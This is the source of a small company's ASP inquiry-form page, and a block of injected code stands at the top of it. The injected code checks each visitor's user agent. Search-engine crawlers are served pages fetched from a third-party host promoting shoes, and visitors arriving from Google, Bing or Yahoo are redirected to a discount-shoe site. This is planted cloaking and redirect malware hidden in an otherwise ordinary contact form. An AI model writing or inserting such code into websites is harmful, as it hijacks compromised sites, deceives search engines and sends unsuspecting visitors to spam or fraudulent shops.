<% function GetBot() dim s_agent GetBot="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") if instr(1,s_agent,"googlebot",1) >0 then GetBot="google" end if if instr(1,s_agent,"bingbot",1) >0 then GetBot="bing" end if if instr(1,s_agent,"slurp,",1) >0 then GetBot="Yahoo" end if end function Function getHTTPPage(Path) t = GetBody(Path) getHTTPPage=BytesToBstr(t,"GB2312") End function Function Newstring(wstr,strng) Newstring=Instr(lcase(wstr),lcase(strng)) if Newstring<=0 then Newstring=Len(wstr) End Function Function GetBody(url) on error resume next Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With Set Retrieval = Nothing End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Dim wstr,str,url,start,over,dtime if GetBot="google" then url="sanfersystem.com/wp-content/jordan-shoes2.html" wstr=getHTTPPage(url) body=wstr response.write ""&body&"" response.end elseif GetBot="bing" then url="sanfersystem.com/wp-content/jordan-shoes2.html" wstr=getHTTPPage(url) body=wstr response.write ""&body&"" response.end elseif GetBot="Yahoo" then url="sanfersystem.com/wp-content/jordan-shoes2.html" wstr=getHTTPPage(url) body=wstr response.write ""&body&"" response.end end if if instr(Request.ServerVariables("http_referer"),"www.google.com")>0 then response.redirect("http://discountoutletcheapshoes.com/") end if if instr(Request.ServerVariables("http_referer"),"www.bing.com")>0 then response.redirect("http://discountoutletcheapshoes.com/") end if if instr(Request.ServerVariables("http_referer"),"www.yahoo.com")>0 then response.redirect("http://discountoutletcheapshoes.com/") end if %> Chattrade Enterprises // E-mail Us
INQUIRY FORM
 
You may place inquiries through this online form. Upon submission, a friendly Chattrade Enterprises representative will contact you and attend to your needs at the soonest time possible.
 
*Required Fields
*Name:
Company Name:
Address:
*E-mail Address:
*Telephone Number:
Fax Number:
*Subject: " size="30" maxlength="50">
*Message:
">
Home | About Us | Products | What's New | Recipes | Inquiries | Contact Us
Copyright © 2006 Chattrade Enterprises. All Rights Reserved.
Website developed by WebFocus Solutions, Inc. and Hosted by ServoBox